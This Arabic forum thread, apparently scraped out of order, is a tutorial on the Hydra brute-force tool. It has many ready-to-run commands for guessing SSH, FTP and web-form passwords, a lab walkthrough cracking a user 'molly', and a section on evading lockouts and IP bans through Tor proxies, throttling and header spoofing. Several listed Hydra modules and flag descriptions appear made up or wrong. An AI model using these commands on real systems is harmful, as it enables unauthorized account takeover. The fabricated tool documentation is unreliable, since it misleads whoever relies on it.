وهو أسلوب حماية يمنعك من محاولة تسجيل الدخول لوقت معين بعد كل محاولة فاشلة، فمثلا قمت بمحاولة فاشلة، سيجبرك النظام حينها على أن تنتظر 3 ثواني قبل أن تستطيع إرسال طلب آخر وهذا يعتبر نوع من أنواع الحماية.
5 - القيود الغير اعتيادية على البروتوكولات
بعض البروتوكولات يتم عمل Configuration لها بحيث تقوم بحظر المستخدم أو الحساب أو إيقاف الخدمة أو حتى إرسال إنذار لمدير الشبكة حال وجود نشاط مريب

ما هي الحلول ؟؟
سأعطي أمثلة على البروتوكولات والويب فتابع معي ..
حمايات SSH الشائعة :
1 - حظر IP : قد يتم حظرك بعد عدد محدد من المحاولات
2 - قد يتم رفض الاتصال تماما بعد عدد محدد من المحاولات الفاشلة
تقنايات التخطي :
1 - استخدام وقت تخطي بين المحاولات (Delay) وهذا سيقلل سرعة المحاولات لتجنب الحظر :
كود:
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.10[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


2 - استخدام عناوين IP متعددة كاستخدام VPN أو Proxy أو Tor بعد كل عدد معين من المحاولات :
كود:
hydra -l admin -P passwords.txt -t 4 -o results.txt -s 22 -e ns -proxy socks5://127.0.0.1:9050 ssh://192.168.1.10[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


حمايات FTP الشائعة :
1 - قفل الحساب : يتم قفل الحساب الذي تحاول اختراقه بعد عدد محدد من المحاولات
تقنايات التخطي :
1 - تقليل عدد المحاولات لتجنب اكتشاف الهجوم .
كود:
hydra -l user -P passwords.txt -t 1 ftp://192.168.1.20[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


2 - إنهاء الهجوم بمجرد العثور على الـcreds الصحيحة.
كود:
hydra -l user -P passwords.txt -f ftp://192.168.1.20[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


حمايات الويب الشائعة :
1 - CAPTCHA : إذا تم اكتشاف العديد من المحاولات يتم تفعيل CAPTCHA
2 - حظر الـIP الخاص بك.
3 - تجميد الحساب المستهدف.
تقنيات التخطي :
1 - تغيير عنوان IP باستمرار باستخدام Proxy أو Tor
كود:
hydra -l admin -P passwords.txt -s 8080 -t 3 -o results.txt -I http-post-form "example.com/login:username=^USER^&password=^PASS^:F=Invalid login" -proxy socks5://127.0.0.1:9050[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


2 - تخطي الحمايات الديناميكية باستخدام التأخير (Delay)
كود:
hydra -l admin -P passwords.txt -w 5 http-post-form "example.com/login:username=^USER^&password=^PASS^:F=Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


3 - بعض المواقع تعتمد على هيدرز مثل User-Agent:
كود:
hydra -l admin -P passwords.txt -m /login -H "User-Agent: CustomAgent" http-get://example.com[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


4 - التبديل بين المستخدمين (Mutual Targeting):
كود:
hydra -L users.txt -P passwords.txt http-post-form "example.com/login:username=^USER^&password=^PASS^:F=Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


نصائح لتخطي جدران الحماية أثناء استخدام Hydra :
1 - تقليل عدد المحاولات المتزامنة باستخدام t-
2 - استخدام Proxy أو Tor
3- عمل تأخير باستخدام w-
4 - تحليل الشبكة باستخدام Wireshark أو بدائلها لفهم استجابة الهدف للهجوم
5 - استخدم قوائم مخصصة للهدف بدلا من استخدام قوائم كبيرة (Social engineering)
6 - بعض حمايات الويب تتطلب فهم جيد للويب بطبيعة الحال وهي متغيرة بشكل كبير يصعب جمعه في موضوع واحد ولكنني تكلمت عن بعض هذه الحمايات في هذا التعليق من الرابط التالي

والان!


هل كنت تعلم أن Hydra تمتلك واجهة رسومية ؟!


1734478468463.gif


الواجهة الرسومية موجودة بشكل افتراضي في توزيعات اختبار الاختراق
اكتب xhydra في الكالي وستظهر لك 🤡


مصادر ومراجع :
THM
thc-hydra
stationx
Kali Hydra Tool Page
سيتم تحديث هذا الموضوع باستمرار بإذن الله
نرجو من الإخوة الأعضاء إبلاغنا في حال وجدت خطأ إملائي أو تقني أو شيء نسيناه ولم نذكره
إن أحسنت فمن الله وإن أسأت فمن نفسي والشيطان
دمتم هكرجية
 
الله يعطيك ألف عافية أخوي
و سجل يا تاريخ أول documentation عربي لشرح أداة Hydra
 
بسم الله ما شاء الله لا قوة الا بالله
بارك الله فيك حبيبي وجزاك الله كل خير
ننتظر جديد ابداعاتك دائماً
تحياتي
 

محتويات الموضوع
1. ما هي Hydra
2. أشهر البروتوكولات التي تدعمها Hydra
3. متطلبات مهمة قبل إكمال القراءة
4. أشهر 10 بروتوكولات ستستهدفها بـ Hydra
5. تثبيت الأداة
6. استخدام الأدة
7. بداية الـDocumentation
8 . الخيارات Flags
9. أوامر جاهزة لاستخدامات متعددة
10. خيارات الويب
11. تفاصيل إضافية تخص الويب
12 - تخطي جدران الحماية
13. محتوى مخفي
14. المصادر والمراجع​

مشاهدة المرفق 15619

ما هي أداة Hydra ؟؟
هي أداة تستخدم من قبل المهاجمين، بغرض كسر كلمات المرور عبر الهجمات العنيفة (Brute Force)، وتعد أداة فعالة وسريعة لتخمين معلومات تسجيل الدخول (Credentials) التي نستخدمها للولوج إلى الأنظمة المختلفة.
تستطيع هذه الأداة أن تُجرِّب قائمة طويلة من كلمات المرور أو معلومات تسجيل الدخول على بعض خدمات المصادقة مثل SSH او FTP أو SNMP وحتى صفحات الويب لتسجيل الدخول.
وفقًا للمستودع الرسمي لأداة hydra ، تمتلك هذه الأداة القدرة على مهاجمة العديد من البروتوكولات، ومنها :
كود:
Asterisk
AFP
Cisco AAA
Cisco auth
Cisco enable
CVS
Firebird
HTTP-FORM-GET
HTTP-FORM-POST
HTTP-GET
HTTP-HEAD
HTTP-POST
HTTP-PROXY
HTTPS-FORM-GET
HTTPS-FORM-POST
HTTPS-GET
HTTPS-HEAD
HTTPS-POST
HTTP-Proxy
ICQ
IRC
MEMCACHED
MONGODB
MS-SQL
MYSQL
NCP
NNTP
Oracle Listener
Oracle SID
Oracle
PC-Anywhere
PCNFS
POSTGRES
Radmin
Rexec
Rlogin
Rsh
RTSP
SAP/R3
SNMP v1+v2+v3
SOCKS5
SSHKEY
Subversion
TeamSpeak (TS2)
VMware-Auth
VNC
XMPP

متطلبات مهمة قبل إكمال القراءة ..
1 - فهم لأساسيات Linux
2 - فهم لأساسيات جمع المعلومات والاستهداف
3 - فهم لأساسيات اختبار اختراق الويب
4 - فهم لأساسيات اختبار اختراق الشبكات وبالتالي يتطلب الأمر معرفة جيدة بعلم الشبكات


هذا الجدول يحتوي على أشهر 10 بروتوكولات تستطيع Hydra تخمينها
بروتوكولات نقل صفحات الويب والنماذج عبر الشبكة وتختلف في جانب الأمانHTTP/HTTPS
بروتوكول نقل الملفات بين الأنظمة عبر الشبكة.FTP
بروتوكول اتصال آمن للتحكم عن بعد وإدارة الخوادم.SSH
بروتوكول إرسال البريد الإلكتروني بين الخوادم.SMTP
بروتوكولات لاستلام البريد الإلكتروني من الخوادم (IMAP للاتصال المستمر وPOP3 للتنزيل).IMAP/POP3
بروتوكول مشاركة الملفات والطابعات بين الأنظمة على الشبكة المحلية.SMB
بروتوكول اتصال سطح المكتب البعيد للوصول إلى أجهزة Windows.RDP
بروتوكول نصي للتحكم عن بعد في الأجهزة ولكنه غير آمن مقارنة بـ SSH.Telnet
بروتوكول لإدارة وتخزين بيانات المستخدمين والمعلومات الموزعة.LDAP
بروتوكول لنقل الصوت والفيديو عبر الإنترنت، ويستخدم في VoIP.SIP

للحصول على مزيد من المعلومات حول الخيارات الخاصة بكل بروتوكول في Hydra، يمكنك الاطلاع على صفحة أداة Hydra في كالي لينكس.

هذا يُبرز أهمية استخدام كلمة مرور قوية؛ فإذا كانت كلمة مرورك شائعة، ولا تحتوي على رموز خاصة، وليست أطول من ثمانية أحرف، فإنها ستكون عرضة للتخمين.
لذا عند استخدام تطبيق يستخدم كلمة مرور سهلة لتسجيل الدخول، غيّرها من الإعدادات الافتراضية! غالبًا ما تستخدم الكاميرات الأمنية (CCTV) وإطارات العمل على الويب admin كبيانات اعتماد تسجيل الدخول الافتراضية، وهو ما يُعتبر غير آمن بما يكفي.

تثبيت أداة Hydra
الأداة تأتي مثبتة بشكل افتراضي في توزيعات اختبار الاختراق مثل Kali Linux ومع ذلك إن كنت تفضل استخدام توزيعات أخرى غير Kali مثل أوبنتو أو فيدورا فقم بتنفيذ الأمر التالي :
كود:
apt install hydra
أو
dnf install hydra
كما يمكنك أيضا تنزيل الأداة من المستودع الرسمي من THC-Hydra


استخدام الأداة
Hydra لها 4 حالات تقريبا فيما يخص الاستخدام
الحالة الأولى : هي تخمين على كلمة المرور لمستخدم ما لأحد البروتوكولات
الحالة الثانية : هي تخمين كلمة السر واسم المستخدم معا لأحد البروتوكولات
الحالة الثالثة : هي تخمين كلمة المرور لمستخدم ما لتطبيق ويب
الحالة الرابعة : هي تخمين اسم المستخدم وكلمة السر لمستخدم ما في تطبيق ويب
يوجد حالة خامسة وهي تخمين اسم المستخدم فقط ولكنها نادرة نوعا ما
لنمر سريعا على هذه الحالات

الحالة الأولى : تخمين كلمة مرور لبروتوكول
المعطيات المطلوبة لهذه الحالة هي كالاتي :
1 - اسم المستخدم (Username)
2 - مسار قائمة كلمات المرور (Password List file)
3 - عنوان الضحية المتمثل في IP
4 - نوع البروتوكول الذي سنهاجمه
لنعطي مثال على استهداف بروتوكول ssh
كود:
hydra -l admin -P /path/to/wordlist/thelist.txt 10.10.66.4  ssh
ستلاحظ أخي الغالي استخدامنا لبعض الأعلام(Flags) وهي :
الاستخدامالعلم (Flag)
فلاج يوضع قبل اسم المستخدم المراد مهاجمته
l-
فلاج يوضع قبل مسار قائمة كلمات المرور المراد استخدامها في الهجوم
P-

سأضع أمر توضيح يآخر
كود:
hydra -l some_username -P /some_passlist.txt target_ip protocol

الحالة الثانية : تخمين معلومات تسجيل دخول لبروتوكول (username + password)
ربما لا يكون لديك أي اسم مستخدم لذلك قد تحتاج إلى تخمين أسماء المستخدمين أيضا، وربما تجد أكثر من اسم مستخدم وتحتاج إلى التخمين عليهم جميعا
حينها سنقوم بمهاجمة مجموعة من أسماء المستخدمين دفعة واحدة والمتطلبات لا تختلف كثيرا عن الحالة السابقة وهي كالاتي :
1 -مسار قائمة أسماء المستخدمين (Username list file)
2 - مسار قائمة كلمات المرور (Password List file)
3 - عنوان الضحية المتمثل في IP
4 - نوع البروتوكول الذي سنهاجمه
لنهاجم نفس البروتوكول الذي استخدمناه في المرة الفائتة ولكن هذه المرة باستخدام ملفين، ملف لمهاجمة أسماء المستخدمين وملف آخر لتجربة الباسسوردات على هذه اليوزرات
كود:
hydra -L /path/to/usernames.txt -P /path/to/password_list.txt 10.10.66.4 ssh
ستلاحظ أخي الغالي استخدامنا لفلاج جديد وهو L- وهو يدل على أن الهدف ليس مستخدم واحد بل عدة مستخدمين وبالتالي القيمة القادمة بعد هذا الفلاج ستكون مسار ملف لأسماء مستخدمين

الحالة الثالثة : تخمين صفحات تسجيل الدخول (لتطبيقات الويب)
هنا سنستخدم نفس المبدأ ولكن بعد إضافة بعد التعديلات البسيطة وهي ليست معقدة أو صعبة ولا تهتم لكثرة الرموز فالأمر جدا بسيط
ركز ييا حلو في المثال التوضيحي القادم ..
كود:
hydra -l <username> -P <wordlist> 10.10.66.4 http-post-form "<target-Path>:<login_credentials_variables>:<invalid_response>"
لا تكمل الشرح وحاول أن تطبق الأمر بنفسك بما فهمت من المثال التوضيحي(سنشرح بالتفصيل تاليا ولكن حاول)
انظر لهذا المثال وحاول أن تفهم دون شرح
كود:
hydra -l admin -P /path/to/wordlist.txt 10.10.66.4 http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"
الجديد في هذا الأمر هو كالتالي :
الوصفالفلاج
هذا الخيار يخبر الأداة بأننا سننفذ هجوم على صفحة ويب لتسجيل الدخولhttp-post-form
هذا هو مسار صفحة تسجيل الدخول الذي سنهاجمهlogin.php/
هذا المتغير هو المتغير الخاص بخانة اسم المستخدم(سنوضح كيف حصلنا عليه لاحقا)=username
هذه العلامة هي اختصار لكلمة and&
هذا المتغير هو المتغير الخاص بخانة كلمة المرور(سنوضح كيف حصلنا عليه لاحقا)=password
هذه الخانات تدل على الأماكن التي ستهاجمها الأداة، بمعنى أنه بدلا من PASS ستضع الأداة تخمينات كلمات المرور وبدلا من USER ستضع الأداة تخمينات اسم المستخدم.^USER^ , ^PASS^
حرف الـF يرمز لرسالة الخطأ التي ستظهر لك في حال كان المدخل غير صحيح حتى تتجنبها الأداةF=incorrect
إذا فهمت فكثر الله خيرك وإن لم تفهم بعد فسأشرح بتفصيل أكبر
لم نطبق بشكل عملي بعد

راجع ما ذكرت ثم طبق معي كما أقول تاليا
ببساطة شديدة سنكتب اسم الأداة أولا ومن ثم نضع الفلاج الخاص باسم المستخدم
ثم نكتب اسم المستخدم ومن بعده الفلاج الخاص بقائمة كلمات المرور
ثم نضع عنوان الهدف سواء كان رابط أو عنوان IP
ثم سنضع المعلومات التالية بين علامتي تنصيص ""
بقية رابط صفحة تسجيل الدخول
ثم نقطتان رأسيتان
ثم دالة اسم المستخدم وكلمة المرور ملتصقتين ببعض هكذا
كود:
username=^USER^&password=^PASS^
ثم نقطتان رأسيتان
ثم دالة رسالة الخطأ
كود:
F=incorrect
لنجرب بشكل عملي حتى تصل الصورة بشكل أوضح
لدينا العنوان التالي فلنقم باستهدافه
كود:
10.10.121.171
لدينا اسم مستخدم اسمه molly
لنفحص الهدف أولا بالـnmap ونرى
مشاهدة المرفق 15278
الأمر
كود:
nmap 10.10.121.171 -vv
بعد الفحص نجد أننا لدينا منفذين مفتوحين هما
80 http
22 ssh
لنبدأ بالـ ssh
مع العلم أننا لدينا في هذا اللاب اسم مستخدم موجود بالفعل للتجربة
الاسم هو molly
الأمر
كود:
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.121.171 ssh

مشاهدة المرفق 15279
نجح الهجوم كما نرى والان لنجرب على تطبيق الويب بما أننا لدينا منفذ 80 مفتوح وعليه بروتوكول http
بمجرد أن وضعت عنوان الip في المتصفح أدخلني مباشرة إلى صفحة تسجيل الدخول
مشاهدة المرفق 15280
مشاهدة المرفق 15281
أول ما سنحتاج إلى فعله هو تشغيل أداة Burp حتى نحصل على الركوست الذاهب إلى السيرفر
ملحوظة : قمت بإعادة تشغيل اللاب بسبب مشكلة تقنية وبالتالي سيتغير عنوان الهدف

سنقوم الان بوضع اسم مستخدم وكلمة مرور عشوائيين أثناء عمل الـburp حتى نحصل على الركوست
سنجرب meow كإسم مستخدم و meow2 كرمز سري ونضغط login وننظر إلى الburp
مشاهدة المرفق 15348
كما نرى ظهر لنا الركوست، طبعا عادة الركوستات تكون POST مش GET
إذا طلعلك GET فغالبا إما إنها مصيدة لك أو إن المطور مهرج 🤡

وأحيانا بعض الـforms تحتاج GET و غيرها يعني مش ضروري يكون المطور مهرج
الان كما يظهر لنا في آخر سطر نجد الكود الاتي
كود:
username=meow&password=meow1
هكذا حصلنا على أول ما سنحتاجه
والان سنعمل Forward وننظر إلى رسالة الخطأ التي ستظهر

مشاهدة المرفق 15349
كما نرى ظهرت لنا رسالة الخطأ تحت كلمة login
هذا كل ما سنحتاجه، والان سنكتب الامر
كود:
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.111.249 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect."
مشاهدة المرفق 15350
ملحوظة : بإمكانك إهمال الـ F- إذا أردت، ستعمل الأداة بلا مشاكل ولكن نقوم بتطبيق الـ Best Practice لا أكثر


هكذا نكون قد طبقنا على استهداف مستخدم واحد سواء في الويب أو مع البروتوكولات
إذا أردت أن تستهدف اكثر من اسم مستخدم كل ما ستفعله هو تغيير معرف اسم المستخدم من l- إلى L-
ومن ثم تقوم بإضافة قائمة أسماء المستخدمين، أي أن الأمر سيكون هكذا
كود:
hydra -L /usr/share/wordlists/names.txt -P /usr/share/wordlists/rockyou.txt 10.10.111.249 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect."

الان لنذهب للخلاصة
كل ما سيأتي هوا عبارة عن documentation تفصيلي للأداة
وتذكر دائما أن الصيغة الأساسية التي سنعتمدها في الشرح هي كالاتي
كود:
hydra -L/-l -P/-p target protocol [options]

إليك جدولًا مفصلًا يحتوي على جميع الخيارات المتوفرة في أداة Hydra مع شرح لكل خيار ..
L-تحديد ملف يحتوي على قائمة أسماء المستخدمين.
l-تحديد اسم مستخدم واحد ثابت للهجوم.
P-تحديد ملف يحتوي على قائمة كلمات المرور.
p-تحديد كلمة مرور واحدة ثابتة للهجوم.
M-تحديد ملف يحتوي على قائمة بأهداف متعددة (عناوين IP أو أسماء نطاقات).
s-تحديد رقم منفذ معين لاستهداف البروتوكولات التي تعمل على منافذ غير افتراضية.
S-تمكين SSL/TLS لتشفير الاتصال مع البروتوكولات التي تدعمه.
e-تمكين خيارات كلمات المرور الإضافية:
s-- s لاختبار اسم المستخدم ككلمة مرور.
n-- n لاختبار كلمات المرور الفارغة.
r-- r لاختبار اسم المستخدم وكلمة المرور معًا.
t-تحديد عدد الجلسات الموازية (threads) للهجوم. القيمة الافتراضية هي 16.
w-تحديد المهلة (timeout) بالثواني لكل محاولة اتصال.
v-تمكين الوضع التفصيلي (عرض تفاصيل المحاولات الفاشلة فقط).
V-تمكين الوضع التفصيلي الكامل (عرض كل المحاولات، الناجحة والفاشلة).
f-التوقف عند أول محاولة ناجحة.
o-تحديد ملف لحفظ نتائج المحاولات الناجحة.
I-تمكين وضع الاستعادة (resume) لاستكمال هجوم توقف فجأة.
R-استئناف هجوم سابق باستخدام ملف الاستعادة الافتراضي hydra.restore.
z-تقليل سرعة الهجوم عن طريق إدخال تأخير بين المحاولات (slow attack).
d-تمكين وضع التصحيح (debug mode) لمراقبة الأخطاء واختبار صلاحية الإعدادات.
W-تحديد عدد المحاولات قبل التوقف لفترة (delay) لتجنب الحظر (slow brute force).
u-تخطي الفحص الأولي (skip initial checks) لتسريع الهجوم، ولكن قد يؤدي إلى فشل الاتصال في بعض الحالات.
m-تمرير خيارات إضافية مخصصة للبروتوكول المستهدف.
T-تحديد حد زمني (time limit) لكل عملية محاولة.
C-تحديد ملف يحتوي على تركيبات من أسماء المستخدمين وكلمات المرور (combo file) بدلاً من استخدام ملفات منفصلة.
F-التوقف فور اكتمال الهجوم على هدف واحد.
h-عرض صفحة المساعدة لجميع الخيارات المتاحة في Hydra.
O-تمكين دعم الملفات الضخمة (large file support) لاستخدام ملفات كبيرة جدًا لأسماء المستخدمين أو كلمات المرور.
debug--تمكين وضع تصحيح إضافي أكثر تفصيلًا للمطورين أو لتشخيص المشكلات.
ignore--تجاهل فشل الاتصال بالأهداف أثناء الهجوم (ignore connection errors).
http-proxy--تحديد بروكسي HTTP للمرور عبره أثناء الهجوم.
socks-proxy--تحديد بروكسي SOCKS4/5 للمرور عبره أثناء الهجوم.
q-تمكين الوضع الصامت لإخفاء معظم مخرجات الأداة (quiet mode).
continue--متابعة الهجوم بعد مقاطعة بدون إعادة جميع المحاولات السابقة.
proxy--تمرير جميع الطلبات عبر بروكسي يدعم HTTP أو SOCKS (مماثل لـ proxychains).
x-إنشاء كلمات مرور ديناميكية بناءً على معايير:
- min:max طول كلمة المرور (على سبيل المثال: 4:8).
-------------------------- charset لتحديد الحروف المسموح بها:
- a للأحرف الصغيرة.
- A للأحرف الكبيرة.
- 1 للأرقام.
- ! للرموز الخاصة.
-------------------------مثال على ذلك :
-------------------------hydra -l admin -x 6:10:Aa1 target-ip ssh
بالنسبة لشرح الأمر الأخير فهو كالتالي :
6:10 هذا ينشيء كلمات مرور بطول يتراوح بين 6 و 10 خانات
Aa1 يقوم بتحديد مجموعة الأحرف المستخدمة
A الأحرف الكبيرة
a الأحرف الصغيرة
1 الأرقام
----------------
مثال أكثر تعقيدًا مع رموز خاصة:
كود:
hydra -L users.txt -x 8:12:Aa1! target-ip http-post-form "/login:user=^USER^&pass=^PASS^:Invalid login"
  • 8:12: إنشاء كلمات مرور بطول 8 إلى 12 حرفًا.​
  • Aa1!: إضافة الرموز الخاصة (!) إلى مجموعة الأحرف.​

الجدول التالي سيكون فيه أمثلة على جميع حالات استخدام أداة hydra مع الشرح ..
الأمرالوصف / الشرح
hydra -L users.txt -P passwords.txt target-ip protocolالصيغة الأساسية: مهاجمة هدف معين مع قائمة أسماء مستخدمين وكلمات مرور باستخدام بروتوكول محدد.
hydra -L users.txt -P passwords.txt -s port target-ip protocolإضافة خيار المنفذ -s لاستهداف بروتوكول يعمل على منفذ مخصص غير الافتراضي.
hydra -L users.txt -P passwords.txt -S target-ip protocolاستخدام TLS/SSL (تشفير الاتصال) مع البروتوكولات التي تدعمه مثل HTTPS، IMAPS، SMTPS، إلخ.
hydra -L users.txt -P passwords.txt -t 16 target-ip protocolاستخدام 16 جلسة موازية (threads) لتحسين سرعة الهجوم.
hydra -L users.txt -P passwords.txt -e nsr target-ip protocolاختبار كلمات المرور الفارغة (e) أو اسم المستخدم ككلمة مرور (s) أو كليهما (r).
hydra -L users.txt -P passwords.txt -o results.txt target-ip protocolحفظ نتائج المحاولات الناجحة في ملف results.txt لمراجعتها لاحقًا.
hydra -l admin -P passwords.txt target-ip protocolاستخدام اسم مستخدم ثابت "admin" بدلاً من قائمة أسماء المستخدمين.
hydra -L users.txt -p password target-ip protocolاستخدام كلمة مرور ثابتة "password" مع قائمة أسماء المستخدمين.
hydra -L users.txt -P passwords.txt -vV target-ip protocolتمكين الوضع التفصيلي لمراقبة كل محاولة تسجيل دخول ناجحة أو فاشلة.
hydra -L users.txt -P passwords.txt -M targets.txt protocolاستهداف عدة أهداف في وقت واحد مع تحديدها داخل ملف targets.txt.
hydra -L users.txt -P passwords.txt target-ip http-get /pathمهاجمة صفحة تسجيل دخول باستخدام طلب HTTP GET (يُستخدم للواجهات البسيطة).
hydra -L users.txt -P passwords.txt target-ip http-post-form "/login:user=^USER^&amp;pass=^PASS^:Login failed"مهاجمة نموذج تسجيل الدخول باستخدام HTTP POST، مع تحديد الحقول المراد تعبئتها والنص الدال على الفشل ("Login failed").
hydra -L users.txt -P passwords.txt -t 64 -f target-ip protocolاستخدام 64 جلسة موازية (-t 64) والتوقف عند أول محاولة ناجحة (-f).
hydra -L users.txt -P passwords.txt -I target-ip protocolاستخدام وضع الاستعادة (resume mode) لاستكمال المحاولات السابقة في حالة التوقف المفاجئ.
hydra -L users.txt -P passwords.txt -s port -S -t 32 -e nsr -o results.txt target-ip protocolتجميع الخيارات معًا: استهداف منفذ معين، تمكين SSL، زيادة الجلسات الموازية، اختبار كلمات مرور خاصة، وحفظ النتائج في ملف.
hydra -l admin -P passwords.txt target-ip http-form-get "/admin:user=^USER^&amp;password=^PASS^:Access Denied"مهاجمة صفحة إدارية مع نموذج تسجيل دخول محدد، والتحقق من نص يدل على فشل المحاولة.
hydra -L users.txt -P passwords.txt -w 30 target-ip protocolتحديد مهلة (timeout) قدرها 30 ثانية لكل محاولة اتصال.
hydra -L users.txt -P passwords.txt -R target-ip protocolاستئناف هجوم توقف سابقًا باستخدام الملف الافتراضي للحالة (hydra.restore).

خيارات الويب
أداة Hydra تقدم خيارات متعددة لاستهداف صفحات تسجيل الدخول بناءً على طرق الإرسال والبروتوكولات، وتتنوع الاستخدامات بناء على السيناريو ونوع التطبيق المستهدف، لذلك سأقدم لك جميع الخيارات المتاحة مع شرح مفصل.
الحالةالوصف
http-post-formمهاجمة صفحات تسجيل الدخول التي تستخدم طريقة POST لإرسال بيانات النموذج. تتطلب تحديد مسار URL، وهيكلة الحقول (مثل username وpassword)، والنص الدال على الفشل.
http-get-formمهاجمة صفحات تسجيل الدخول التي تستخدم طريقة GET لإرسال بيانات النموذج عبر عنوان URL. تعمل بنفس بنية http-post-form، لكنها مناسبة لواجهات تسجيل دخول أبسط.
http-headاستخدام طلب HTTP HEAD لاستهداف صفحات معينة، مما يوفر سرعة أعلى لأنه لا يجلب محتوى الصفحة بالكامل.
http-form-getمشابه لـ http-get-form ولكن مخصص لاستهداف النماذج التي تستخدم الحقول بشكل ديناميكي أو تحتوي على استعلامات أكثر تعقيدًا في GET.
http-form-postمشابه لـ http-post-form ولكن يُستخدم للسيناريوهات الأكثر تعقيدًا مثل الحقول الإضافية (مثل رموز التحقق أو حقول مخفية).
http-proxyاستخدام بروكسي HTTP لتمرير الهجمات عبره، مناسب لتجاوز القيود أو تخطي التتبع.
http-proxy-urlاستهداف خادم HTTP باستخدام بروكسي محدد يدويًا مع خيار URL.
http-proxy-authمهاجمة خادم HTTP عبر بروكسي مع توفير بيانات اعتماد للبروكسي نفسه (اسم مستخدم وكلمة مرور).
https-post-formنسخة مشفرة (TLS/SSL) من http-post-form تستهدف صفحات تسجيل الدخول التي تعمل على HTTPS.
https-get-formنسخة مشفرة من http-get-form لمهاجمة النماذج التي تستخدم HTTPS لإرسال البيانات عبر عنوان URL.
http-basic-authمهاجمة صفحات تسجيل الدخول التي تستخدم آلية المصادقة الأساسية (Basic Authentication) في HTTP، حيث يتم إرسال بيانات الاعتماد في عنوان الطلب.
http-digest-authمهاجمة صفحات تسجيل الدخول التي تستخدم آلية المصادقة Digest Authentication، وهي أكثر أمانًا من Basic Auth، حيث يتم تجزئة بيانات الاعتماد.
http-form-basicاستهداف النماذج التي تستخدم المصادقة الأساسية مع طلب GET أو POST.
http-form-digestاستهداف النماذج التي تعتمد على مصادقة Digest مع طلبات GET أو POST.
http-ntlmمهاجمة صفحات تسجيل الدخول التي تستخدم بروتوكول NTLM Authentication (غالبًا في بيئات Windows).
http-form-ntlmمخصص لاستهداف نماذج تسجيل الدخول مع NTLM عبر HTTP.
http-jwtمهاجمة صفحات تسجيل الدخول التي تستخدم رموز JWT (JSON Web Tokens) للتحقق من المستخدمين.
http-cookieاستهداف صفحات تسجيل الدخول مع إرسال ملف تعريف ارتباط (Cookie) محدد يدويًا مع كل طلب.
http-headerإرسال رؤوس HTTP مخصصة مع كل طلب (مثل "User-Agent" أو "Authorization") لاستهداف صفحات تحتاج إلى تفاصيل إضافية.
http-form-cookieإرسال ملف تعريف ارتباط مخصص مع طلبات النموذج (GET أو POST).
http-form-headerإرسال رؤوس HTTP مخصصة مع طلبات النموذج (GET أو POST).
http-form-jsonمهاجمة صفحات تسجيل الدخول التي ترسل بيانات المستخدمين بصيغة JSON عبر طلبات POST أو GET.
http-restمهاجمة واجهات RESTful APIs التي تستخدم HTTP POST/GET/PUT/DELETE مع بيانات اعتماد يتم تمريرها كـ JSON أو حقول مباشرة.
تفاصيل إضافية لكل حالة :
1. http-post-form
كود:
hydra -L users.txt -P passwords.txt target-ip http-post-form "/login:username=^USER^&password=^PASS^:Invalid login"
يهاجم صفحة تسجيل دخول ترسل الحقول username وpassword عبر POST.

2. http-get-form
كود:
hydra -L users.txt -P passwords.txt target-ip http-get-form "/login?username=^USER^&password=^PASS^:Invalid login"
يهاجم نموذج تسجيل دخول يرسل البيانات في URL.

3. http-cookie
كود:
hydra -L users.txt -P passwords.txt -m "Cookie: sessionid=12345" target-ip http-post-form "/login:username=^USER^&password=^PASS^:Invalid login"
استخدام ملف تعريف ارتباط صالح للهجوم على جلسة تسجيل دخول نشطة.

4. http-jwt
كود:
hydra -L users.txt -P passwords.txt -m "Authorization: Bearer <JWT_TOKEN>" target-ip http-post-form "/api/login:user=^USER^&pass=^PASS^:Invalid login"
مهاجمة واجهة API تتطلب JWT.

5. http-header
كود:
hydra -L users.txt -P passwords.txt -m "User-Agent: Mozilla/5.0" target-ip http-post-form "/login:user=^USER^&pass=^PASS^:Invalid login"
إرسال رأس مخصص مثل User-Agent لتخطي الحظر.

6. http-rest
كود:
hydra -L users.txt -P passwords.txt target-ip http-post-form "/api/login:{"username":"^USER^","password":"^PASS^"}:Invalid login"
استهداف API RESTful تستخدم JSON.

كيفية تحديد النوع المناسب؟

  • استخدم أدوات مثل Burp Suite أو Fiddler لفحص الطلبات وتحديد الطريقة المستخدمة (GET/POST) وهيكل البيانات (نص عادي، JSON، إلخ).
  • استنادًا إلى نوع المصادقة أو البيانات المرسلة، اختر الخيار المناسب في Hydra.

تخطي جدران الحماية باستخدام Hydra
لتخطي جدران الحماية أثناء استخدام أداة Hydra، يمكننا تعديل الأوامر بإضافة تقنيات مثل ضبط خيارات الشبكة، تقليل أثر الهجمات، واستخدام بروكسيات أو شبكات VPN. سأضع لك جدولًا شاملاً يحتوي على الأوامر المعدلة التي تستخدم تقنيات تخطي جدران الحماية بحالات مختلفة.
الأمرالتقنية المستخدمة لتخطي جدران الحماية
hydra -L users.txt -P passwords.txt -s port -t 16 -w 30 target-ip protocolتقليل الجلسات الموازية (-t 16) وزيادة المهلة (-w 30) لتقليل النشاط المريب على الشبكة الذي قد يتم اكتشافه من قبل جدران الحماية.
hydra -L users.txt -P passwords.txt -s port -V -x 4:8:Aa1 target-ip protocolاستخدام ميزة إنشاء كلمات مرور مخصصة ديناميكيًا (-x) لتجنب القوائم الثابتة التي قد تُكتشف بسهولة.
hydra -L users.txt -P passwords.txt -s port -I -f -t 4 -w 10 -z target-ip protocolتقليل السرعة باستخدام الخيار -z لجعل الهجوم يبدو أقل نشاطًا.
